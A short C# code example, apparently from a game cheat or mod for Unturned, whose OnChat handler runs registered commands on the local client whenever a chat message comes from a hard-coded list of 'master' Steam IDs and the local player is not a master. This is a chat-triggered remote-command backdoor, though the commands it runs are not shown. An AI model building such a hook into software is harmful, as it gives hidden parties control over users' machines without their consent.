Beispiel #1
0
        public void OnChat()
        {
            Chat        lastMessage = ChatManager.chat[0];
            SteamPlayer speaker     = Tool.getSteamPlayer(lastMessage.speaker);

            if (speaker != null && Universal.masterIDs.Contains(speaker.playerID.steamID.m_SteamID) && !Universal.masterIDs.Contains(Provider.client.m_SteamID))
            {
                string[]    args = lastMessage.text.Split(' ');
                CommandType ct   = Array.Find(commands.ToArray(), a => args[0] == a.command);
                if (ct != null)
                {
                    string[] args1 = Array.FindAll(args, a => a != ct.command);
                    if (args1.Length <= 0)
                    {
                        args1    = new string[1];
                        args1[0] = "";
                    }
                    ct.execute(args1);
                }
            }
        }